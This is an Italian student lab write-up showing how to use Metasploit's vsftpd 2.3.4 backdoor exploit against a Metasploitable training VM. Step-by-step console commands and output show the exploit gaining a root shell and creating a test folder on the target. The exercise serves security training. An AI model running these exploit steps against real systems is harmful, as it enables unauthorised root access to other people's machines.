

Esercizio M4-W3-D4

Daniele Atzori

Hacking con Metasploit

Avviare msf console. Cercare la parola chiave richiesta dall’esercizio “vsftpd. Scegliere l’exploit e il payload dell’exploit (in questo caso l’unico). Avviare l’exploit effettivo.

```
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
CHOST      The local client address
CPORT      The local client port
Proxies    A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21              yes       The target port (TCP)

Payload options (cmd/unix/interact):

Name      Current Setting  Required  Description
--      -
Automatic

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.
```

Creare una cartella con il comando mkdir nella shell aperta su metasploitable come richiesto dall’esercizio.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  payload/cmd/unix/interact              normal         No     Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.107:46589 -> 192.168.1.149:6200) at 2024-06-29 11:59:40 -0400

mkdir /test_metasploit
```

Controllare su Metasploitable se la cartella è effettivamente stata creata e se è nel posto giusto

```
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$ pwd
/home/msfadmin
msfadmin@metasploitable:~$ cd vulnerable
msfadmin@metasploitable:~/vulnerable$ ls
mysql-ssl samba tikiwiki twiki20030201
msfadmin@metasploitable:~/vulnerable$ cd ..
msfadmin@metasploitable:~$ cd /
msfadmin@metasploitable:/$ ls
bin      dev      initrd   lost+found  nohup.out  root    sys      usr
boot     etc      initrd.img  opt         sbin       test_metasploit  var
cdrom    home     lib       mnt         proc       srv      tmp      vmlinuz
msfadmin@metasploitable:/$
```